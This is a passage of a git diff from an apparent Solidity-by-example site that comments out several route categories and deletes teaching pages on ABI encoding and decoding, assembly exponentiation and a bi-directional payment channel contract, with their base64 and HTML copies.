V2 Optimal One Sided Supply", - }, - { - path: "uniswap-v2-flash-swap", - title: "Uniswap V2 Flash Swap", - }, - { - path: "uniswap-v3-swap", - title: "Uniswap V3 Swap", - }, - { - path: "uniswap-v3-liquidity", - title: "Uniswap V3 Liquidity", - }, - { - path: "uniswap-v3-flash", - title: "Uniswap V3 Flash Loan", - }, - { - path: "uniswap-v3-flash-swap", - title: "Uniswap V3 Flash Swap Arbitrage", - }, - { - path: "chainlink-price-oracle", - title: "Chainlink Price Oracle", - }, - { - path: "staking-rewards", - title: "Staking Rewards", - }, - { - path: "discrete-staking-rewards", - title: "Discrete Staking Rewards", - }, - { - path: "vault", - title: "Vault", - }, - { - path: "constant-sum-amm", - title: "Constant Sum AMM", - }, - { - path: "constant-product-amm", - title: "Constant Product AMM", - }, - { - path: "stable-swap-amm", - title: "Stable Swap AMM", - }, ] export const ROUTES_BY_CATEGORY = [ @@ -484,34 +47,34 @@ export const ROUTES_BY_CATEGORY = [ path: `/${route.path}`, })), }, - { - title: "Applications", - routes: APP_ROUTES.map((route) => ({ - ...route, - path: `/app/${route.path}`, - })), - }, - { - title: "Hacks", - routes: HACK_ROUTES.map((route) => ({ - ...route, - path: `/hacks/${route.path}`, - })), - }, - { - title: "Tests", - routes: TEST_ROUTES.map((route) => ({ - ...route, - path: `/tests/${route.path}`, - })), - }, - { - title: "DeFi", - routes: DEFI_ROUTES.map((route) => ({ - ...route, - path: `/defi/${route.path}`, - })), - }, + // { + // title: "Applications", + // routes: APP_ROUTES.map((route) => ({ + // ...route, + // path: `/app/${route.path}`, + // })), + // }, + // { + // title: "Hacks", + // routes: HACK_ROUTES.map((route) => ({ + // ...route, + // path: `/hacks/${route.path}`, + // })), + // }, + // { + // title: "Tests", + // routes: TEST_ROUTES.map((route) => ({ + // ...route, + // path: `/tests/${route.path}`, + // })), + // }, + // { + // title: "DeFi", + // routes: DEFI_ROUTES.map((route) => ({ + // ...route, + // path: `/defi/${route.path}`, + // })), + // }, ] export const ROUTES = ROUTES_BY_CATEGORY.map(({ routes }) => routes).flat() diff --git a/src/pages/abi-decode/AbiDecode.sol b/src/pages/abi-decode/AbiDecode.sol deleted file mode 100644 index 4b302928a..000000000 --- a/src/pages/abi-decode/AbiDecode.sol +++ /dev/null @@ -1,29 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AbiDecode { - struct MyStruct { - string name; - uint[2] nums; - } - - function encode( - uint x, - address addr, - uint[] calldata arr, - MyStruct calldata myStruct - ) external pure returns (bytes memory) { - return abi.encode(x, addr, arr, myStruct); - } - - function decode( - bytes calldata data - ) - external - pure - returns (uint x, address addr, uint[] memory arr, MyStruct memory myStruct) - { - // (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ... - (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct)); - } -} diff --git a/src/pages/abi-decode/index.html.ts b/src/pages/abi-decode/index.html.ts deleted file mode 100644 index a432da42d..000000000 --- a/src/pages/abi-decode/index.html.ts +++ /dev/null @@ -1,48 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "ABI Decode" -export const description = "ABI decode bytes" - -export const keywords = ["abi", "decode", "bytes"] - -export const codes = [ - { - fileName: "AbiDecode.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnRbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludCB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG1lbW9yeSBteVN0cnVjdCkKICAgIHsKICAgICAgICAvLyAodWludCB4LCBhZGRyZXNzIGFkZHIsIHVpbnRbXSBtZW1vcnkgYXJyLCBNeVN0cnVjdCBteVN0cnVjdCkgPSAuLi4KICAgICAgICAoeCwgYWRkciwgYXJyLCBteVN0cnVjdCkgPSBhYmkuZGVjb2RlKGRhdGEsICh1aW50LCBhZGRyZXNzLCB1aW50W10sIE15U3RydWN0KSk7CiAgICB9Cn0K", - }, -] - -const html = `

abi.encode encodes data into bytes.

-

abi.decode decodes bytes back into data.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AbiDecode {
-    struct MyStruct {
-        string name;
-        uint[2] nums;
-    }
-
-    function encode(
-        uint x,
-        address addr,
-        uint[] calldata arr,
-        MyStruct calldata myStruct
-    ) external pure returns (bytes memory) {
-        return abi.encode(x, addr, arr, myStruct);
-    }
-
-    function decode(
-        bytes calldata data
-    )
-        external
-        pure
-        returns (uint x, address addr, uint[] memory arr, MyStruct memory myStruct)
-    {
-        // (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ...
-        (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct));
-    }
-}
-
` - -export default html diff --git a/src/pages/abi-decode/index.md b/src/pages/abi-decode/index.md deleted file mode 100644 index f8a5ce440..000000000 --- a/src/pages/abi-decode/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: ABI Decode -version: 0.8.20 -description: ABI decode bytes -keywords: [abi, decode, bytes] ---- - -`abi.encode` encodes data into `bytes`. - -`abi.decode` decodes `bytes` back into data. - -```solidity -{{{AbiDecode}}} -``` diff --git a/src/pages/abi-decode/index.tsx b/src/pages/abi-decode/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/abi-decode/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/abi-encode/AbiEncode.sol b/src/pages/abi-encode/AbiEncode.sol deleted file mode 100644 index 1de8db5a9..000000000 --- a/src/pages/abi-encode/AbiEncode.sol +++ /dev/null @@ -1,38 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -interface IERC20 { - function transfer(address, uint) external; -} - -contract Token { - function transfer(address, uint) external {} -} - -contract AbiEncode { - function test(address _contract, bytes calldata data) external { - (bool ok, ) = _contract.call(data); - require(ok, "call failed"); - } - - function encodeWithSignature( - address to, - uint amount - ) external pure returns (bytes memory) { - // Typo is not checked - "transfer(address, uint)" - return abi.encodeWithSignature("transfer(address,uint256)", to, amount); - } - - function encodeWithSelector( - address to, - uint amount - ) external pure returns (bytes memory) { - // Type is not checked - (IERC20.transfer.selector, true, amount) - return abi.encodeWithSelector(IERC20.transfer.selector, to, amount); - } - - function encodeCall(address to, uint amount) external pure returns (bytes memory) { - // Typo and type errors will not compile - return abi.encodeCall(IERC20.transfer, (to, amount)); - } -} diff --git a/src/pages/abi-encode/index.html.ts b/src/pages/abi-encode/index.html.ts deleted file mode 100644 index afe7ff673..000000000 --- a/src/pages/abi-encode/index.html.ts +++ /dev/null @@ -1,62 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "ABI Encode" -export const description = "ABI encode" - -export const keywords = [ - "abi", - "encode", - "bytes", - "encodeWithSelector", - "encodeWithSignature", - "encodeCall", -] - -export const codes = [ - { - fileName: "AbiEncode.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssICkgPSBfY29udHJhY3QuY2FsbChkYXRhKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGVXaXRoU2lnbmF0dXJlKAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICAvLyBUeXBvIGlzIG5vdCBjaGVja2VkIC0gInRyYW5zZmVyKGFkZHJlc3MsIHVpbnQpIgogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgidHJhbnNmZXIoYWRkcmVzcyx1aW50MjU2KSIsIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTZWxlY3RvcigKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgLy8gVHlwZSBpcyBub3QgY2hlY2tlZCAtIChJRVJDMjAudHJhbnNmZXIuc2VsZWN0b3IsIHRydWUsIGFtb3VudCkKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTZWxlY3RvcihJRVJDMjAudHJhbnNmZXIuc2VsZWN0b3IsIHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZUNhbGwoYWRkcmVzcyB0bywgdWludCBhbW91bnQpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K", - }, -] - -const html = `
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC20 {
-    function transfer(address, uint) external;
-}
-
-contract Token {
-    function transfer(address, uint) external {}
-}
-
-contract AbiEncode {
-    function test(address _contract, bytes calldata data) external {
-        (bool ok, ) = _contract.call(data);
-        require(ok, "call failed");
-    }
-
-    function encodeWithSignature(
-        address to,
-        uint amount
-    ) external pure returns (bytes memory) {
-        // Typo is not checked - "transfer(address, uint)"
-        return abi.encodeWithSignature("transfer(address,uint256)", to, amount);
-    }
-
-    function encodeWithSelector(
-        address to,
-        uint amount
-    ) external pure returns (bytes memory) {
-        // Type is not checked - (IERC20.transfer.selector, true, amount)
-        return abi.encodeWithSelector(IERC20.transfer.selector, to, amount);
-    }
-
-    function encodeCall(address to, uint amount) external pure returns (bytes memory) {
-        // Typo and type errors will not compile
-        return abi.encodeCall(IERC20.transfer, (to, amount));
-    }
-}
-
` - -export default html diff --git a/src/pages/abi-encode/index.md b/src/pages/abi-encode/index.md deleted file mode 100644 index 73f7cec9b..000000000 --- a/src/pages/abi-encode/index.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: ABI Encode -version: 0.8.20 -description: ABI encode -keywords: [abi, encode, bytes, encodeWithSelector, encodeWithSignature, encodeCall] ---- - -```solidity -{{{AbiEncode}}} -``` diff --git a/src/pages/abi-encode/index.tsx b/src/pages/abi-encode/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/abi-encode/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/assembly-bin-exp/AssemblyBinExp.sol b/src/pages/app/assembly-bin-exp/AssemblyBinExp.sol deleted file mode 100644 index 350875b40..000000000 --- a/src/pages/app/assembly-bin-exp/AssemblyBinExp.sol +++ /dev/null @@ -1,56 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyBinExp { - // Binary exponentiation to calculate x**n - function rpow(uint256 x, uint256 n, uint256 b) - public - pure - returns (uint256 z) - { - assembly { - switch x - // x = 0 - case 0 { - switch n - // n = 0 --> x**n = 0**0 --> 1 - case 0 { z := b } - // n > 0 --> x**n = 0**n --> 0 - default { z := 0 } - } - default { - switch mod(n, 2) - // x > 0 and n is even --> z = 1 - case 0 { z := b } - // x > 0 and n is odd --> z = x - default { z := x } - - let half := div(b, 2) // for rounding. - // n = n / 2, while n > 0, n = n / 2 - for { n := div(n, 2) } n { n := div(n, 2) } { - let xx := mul(x, x) - // Check overflow - revert if xx / x != x - if iszero(eq(div(xx, x), x)) { revert(0, 0) } - // Round (xx + half) / b - let xxRound := add(xx, half) - // Check overflow - revert if xxRound < xx - if lt(xxRound, xx) { revert(0, 0) } - x := div(xxRound, b) - // if n % 2 == 1 - if mod(n, 2) { - let zx := mul(z, x) - // revert if x != 0 and zx / x != z - if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { - revert(0, 0) - } - // Round (zx + half) / b - let zxRound := add(zx, half) - // Check overflow - revert if zxRound < zx - if lt(zxRound, zx) { revert(0, 0) } - z := div(zxRound, b) - } - } - } - } - } -} \ No newline at end of file diff --git a/src/pages/app/assembly-bin-exp/index.html.ts b/src/pages/app/assembly-bin-exp/index.html.ts deleted file mode 100644 index 0b74c32a3..000000000 --- a/src/pages/app/assembly-bin-exp/index.html.ts +++ /dev/null @@ -1,74 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Binary Exponentiation" -export const description = "Example of binary exponentiation in assembly" - -export const keywords = ["assembly", "yul", "binary", "exponentiation", "math"] - -export const codes = [ - { - fileName: "AssemblyBinExp.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0=", - }, -] - -const html = `

Example of binary exponentiation in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyBinExp {
-    // Binary exponentiation to calculate x**n
-    function rpow(uint256 x, uint256 n, uint256 b)
-        public
-        pure
-        returns (uint256 z)
-    {
-        assembly {
-            switch x
-            // x = 0
-            case 0 {
-                switch n
-                // n = 0 --> x**n = 0**0 --> 1
-                case 0 { z := b }
-                // n > 0 --> x**n = 0**n --> 0
-                default { z := 0 }
-            }
-            default {
-                switch mod(n, 2)
-                // x > 0 and n is even --> z = 1
-                case 0 { z := b }
-                // x > 0 and n is odd --> z = x
-                default { z := x }
-
-                let half := div(b, 2) // for rounding.
-                // n = n / 2, while n > 0, n = n / 2
-                for { n := div(n, 2) } n { n := div(n, 2) } {
-                    let xx := mul(x, x)
-                    // Check overflow - revert if xx / x != x
-                    if iszero(eq(div(xx, x), x)) { revert(0, 0) }
-                    // Round (xx + half) / b
-                    let xxRound := add(xx, half)
-                    // Check overflow - revert if xxRound < xx
-                    if lt(xxRound, xx) { revert(0, 0) }
-                    x := div(xxRound, b)
-                    // if n % 2 == 1
-                    if mod(n, 2) {
-                        let zx := mul(z, x)
-                        // revert if x != 0 and zx / x != z
-                        if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
-                            revert(0, 0)
-                        }
-                        // Round (zx + half) / b
-                        let zxRound := add(zx, half)
-                        // Check overflow - revert if zxRound < zx
-                        if lt(zxRound, zx) { revert(0, 0) }
-                        z := div(zxRound, b)
-                    }
-                }
-            }
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/app/assembly-bin-exp/index.md b/src/pages/app/assembly-bin-exp/index.md deleted file mode 100644 index 1c3e0d799..000000000 --- a/src/pages/app/assembly-bin-exp/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Binary Exponentiation -version: 0.8.20 -description: Example of binary exponentiation in assembly -keywords: [assembly, yul, binary, exponentiation, math] ---- - -Example of binary exponentiation in `assembly` - -```solidity -{{{AssemblyBinExp}}} -``` diff --git a/src/pages/app/assembly-bin-exp/index.tsx b/src/pages/app/assembly-bin-exp/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/assembly-bin-exp/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/bi-directional-payment-channel/BiDirectionalPaymentChannel.sol b/src/pages/app/bi-directional-payment-channel/BiDirectionalPaymentChannel.sol deleted file mode 100644 index a5e231088..000000000 --- a/src/pages/app/bi-directional-payment-channel/BiDirectionalPaymentChannel.sol +++ /dev/null @@ -1,162 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Opening a channel -1. Alice and Bob fund a multi-sig wallet -2. Precompute payment channel address -3. Alice and Bob exchanges signatures of initial balances -4. Alice and Bob creates a transaction that can deploy a payment channel from - the multi-sig wallet - -Update channel balances -1. Repeat steps 1 - 3 from opening a channel -2. From multi-sig wallet create a transaction that will - - delete the transaction that would have deployed the old payment channel - - and then create a transaction that can deploy a payment channel with the - new balances - -Closing a channel when Alice and Bob agree on the final balance -1. From multi-sig wallet create a transaction that will - - send payments to Alice and Bob - - and then delete the transaction that would have created the payment channel - -Closing a channel when Alice and Bob do not agree on the final balances -1. Deploy payment channel from multi-sig -2. call challengeExit() to start the process of closing a channel -3. Alice and Bob can withdraw funds once the channel is expired -*/ - -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; - -contract BiDirectionalPaymentChannel { - using ECDSA for bytes32; - - event ChallengeExit(address indexed sender, uint nonce); - event Withdraw(address indexed to, uint amount); - - address payable[2] public users; - mapping(address => bool) public isUser; - - mapping(address => uint) public balances; - - uint public challengePeriod; - uint public expiresAt; - uint public nonce; - - modifier checkBalances(uint[2] memory _balances) { - require( - address(this).balance >= _balances[0] + _balances[1], - "balance of contract must be >= to the total balance of users" - ); - _; - } - - // NOTE: deposit from multi-sig wallet - constructor( - address payable[2] memory _users, - uint[2] memory _balances, - uint _expiresAt, - uint _challengePeriod - ) payable checkBalances(_balances) { - require(_expiresAt > block.timestamp, "Expiration must be > now"); - require(_challengePeriod > 0, "Challenge period must be > 0"); - - for (uint i = 0; i < _users.length; i++) { - address payable user = _users[i]; - - require(!isUser[user], "user must be unique"); - users[i] = user; - isUser[user] = true; - - balances[user] = _balances[i]; - } - - expiresAt = _expiresAt; - challengePeriod = _challengePeriod; - } - - function verify( - bytes[2] memory _signatures, - address _contract, - address[2] memory _signers, - uint[2] memory _balances, - uint _nonce - ) public pure returns (bool) { - for (uint i = 0; i < _signatures.length; i++) { - /* - NOTE: sign with address of this contract to protect - agains replay attack on other contracts - */ - bool valid = _signers[i] == - keccak256(abi.encodePacked(_contract, _balances, _nonce)) - .toEthSignedMessageHash() - .recover(_signatures[i]); - - if (!valid) { - return false; - } - } - - return true; - } - - modifier checkSignatures( - bytes[2] memory _signatures, - uint[2] memory _balances, - uint _nonce - ) { - // Note: copy storage array to memory - address[2] memory signers; - for (uint i = 0; i < users.length; i++) { - signers[i] = users[i]; - } - - require( - verify(_signatures, address(this), signers, _balances, _nonce), - "Invalid signature" - ); - - _; - } - - modifier onlyUser() { - require(isUser[msg.sender], "Not user"); - _; - } - - function challengeExit( - uint[2] memory _balances, - uint _nonce, - bytes[2] memory _signatures - ) - public - onlyUser - checkSignatures(_signatures, _balances, _nonce) - checkBalances(_balances) - { - require(block.timestamp < expiresAt, "Expired challenge period"); - require(_nonce > nonce, "Nonce must be greater than the current nonce"); - - for (uint i = 0; i < _balances.length; i++) { - balances[users[i]] = _balances[i]; - } - - nonce = _nonce; - expiresAt = block.timestamp + challengePeriod; - - emit ChallengeExit(msg.sender, nonce); - } - - function withdraw() public onlyUser { - require(block.timestamp >= expiresAt, "Challenge period has not expired yet"); - - uint amount = balances[msg.sender]; - balances[msg.sender] = 0; - - (bool sent, ) = msg.sender.call{value: amount}(""); - require(sent, "Failed to send Ether"); - - emit Withdraw(msg.sender, amount); - } -} diff --git a/src/pages/app/bi-directional-payment-channel/index.html.ts b/src/pages/app/bi-directional-payment-channel/index.html.ts deleted file mode 100644 index 624ad76db..000000000 --- a/src/pages/app/bi-directional-payment-channel/index.html.ts +++ /dev/null @@ -1,189 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Bi-Directional Payment Channel" -export const description = "An example of bi-directional payment channels in Solidity" - -export const keywords = [ - "app", - "application", - "bi-directional", - "payment", - "channel", - "signature", - "cryptography", -] - -export const codes = [ - { - fileName: "BiDirectionalPaymentChannel.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk9wZW5pbmcgYSBjaGFubmVsCjEuIEFsaWNlIGFuZCBCb2IgZnVuZCBhIG11bHRpLXNpZyB3YWxsZXQKMi4gUHJlY29tcHV0ZSBwYXltZW50IGNoYW5uZWwgYWRkcmVzcwozLiBBbGljZSBhbmQgQm9iIGV4Y2hhbmdlcyBzaWduYXR1cmVzIG9mIGluaXRpYWwgYmFsYW5jZXMKNC4gQWxpY2UgYW5kIEJvYiBjcmVhdGVzIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIGZyb20KICAgdGhlIG11bHRpLXNpZyB3YWxsZXQKClVwZGF0ZSBjaGFubmVsIGJhbGFuY2VzCjEuIFJlcGVhdCBzdGVwcyAxIC0gMyBmcm9tIG9wZW5pbmcgYSBjaGFubmVsCjIuIEZyb20gbXVsdGktc2lnIHdhbGxldCBjcmVhdGUgYSB0cmFuc2FjdGlvbiB0aGF0IHdpbGwKICAgLSBkZWxldGUgdGhlIHRyYW5zYWN0aW9uIHRoYXQgd291bGQgaGF2ZSBkZXBsb3llZCB0aGUgb2xkIHBheW1lbnQgY2hhbm5lbAogICAtIGFuZCB0aGVuIGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgY2FuIGRlcGxveSBhIHBheW1lbnQgY2hhbm5lbCB3aXRoIHRoZQogICAgIG5ldyBiYWxhbmNlcwoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGFncmVlIG9uIHRoZSBmaW5hbCBiYWxhbmNlCjEuIEZyb20gbXVsdGktc2lnIHdhbGxldCBjcmVhdGUgYSB0cmFuc2FjdGlvbiB0aGF0IHdpbGwKICAgLSBzZW5kIHBheW1lbnRzIHRvIEFsaWNlIGFuZCBCb2IKICAgLSBhbmQgdGhlbiBkZWxldGUgdGhlIHRyYW5zYWN0aW9uIHRoYXQgd291bGQgaGF2ZSBjcmVhdGVkIHRoZSBwYXltZW50IGNoYW5uZWwKCkNsb3NpbmcgYSBjaGFubmVsIHdoZW4gQWxpY2UgYW5kIEJvYiBkbyBub3QgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2VzCjEuIERlcGxveSBwYXltZW50IGNoYW5uZWwgZnJvbSBtdWx0aS1zaWcKMi4gY2FsbCBjaGFsbGVuZ2VFeGl0KCkgdG8gc3RhcnQgdGhlIHByb2Nlc3Mgb2YgY2xvc2luZyBhIGNoYW5uZWwKMy4gQWxpY2UgYW5kIEJvYiBjYW4gd2l0aGRyYXcgZnVuZHMgb25jZSB0aGUgY2hhbm5lbCBpcyBleHBpcmVkCiovCgppbXBvcnQgImdpdGh1Yi5jb20vT3BlblplcHBlbGluL29wZW56ZXBwZWxpbi1jb250cmFjdHMvYmxvYi9yZWxlYXNlLXY0LjUvY29udHJhY3RzL3V0aWxzL2NyeXB0b2dyYXBoeS9FQ0RTQS5zb2wiOwoKY29udHJhY3QgQmlEaXJlY3Rpb25hbFBheW1lbnRDaGFubmVsIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGV2ZW50IENoYWxsZW5nZUV4aXQoYWRkcmV